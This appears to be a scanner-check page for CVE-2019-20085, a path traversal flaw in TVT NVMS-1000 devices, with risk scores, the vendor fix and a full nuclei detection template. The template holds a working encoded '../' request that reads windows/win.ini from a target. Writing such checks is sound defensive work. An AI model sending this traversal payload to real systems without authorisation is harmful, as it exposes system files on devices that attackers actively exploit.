TVT NVMS 1000 - Local File Inclusion

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity

7.5CVSS score

96.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the system.

Fix

Apply the latest security patches or updates provided by the vendor to fix the local file inclusion vulnerability in TVT NVMS 1000 software.

How to confirm it

Send: GET {{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini
Positive when: matches /\[(font|extension|file)s\]/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-20085 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-20085

info:
  name: TVT NVMS 1000 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the local file inclusion vulnerability in TVT NVMS 1000 software.
  reference:
    - https://www.exploit-db.com/exploits/48311
    - https://www.exploit-db.com/exploits/47774
    - http://packetstormsecurity.com/files/157196/TVT-NVMS-1000-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20085
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-20085
    cwe-id: CWE-22
    epss-score: 0.96071
    epss-percentile: 0.99877
    cpe: cpe:2.3:o:tvt:nvms-1000_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tvt
    product: nvms-1000_firmware
  tags: cve,cve2019,iot,lfi,kev,edb,packetstorm,tvt,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from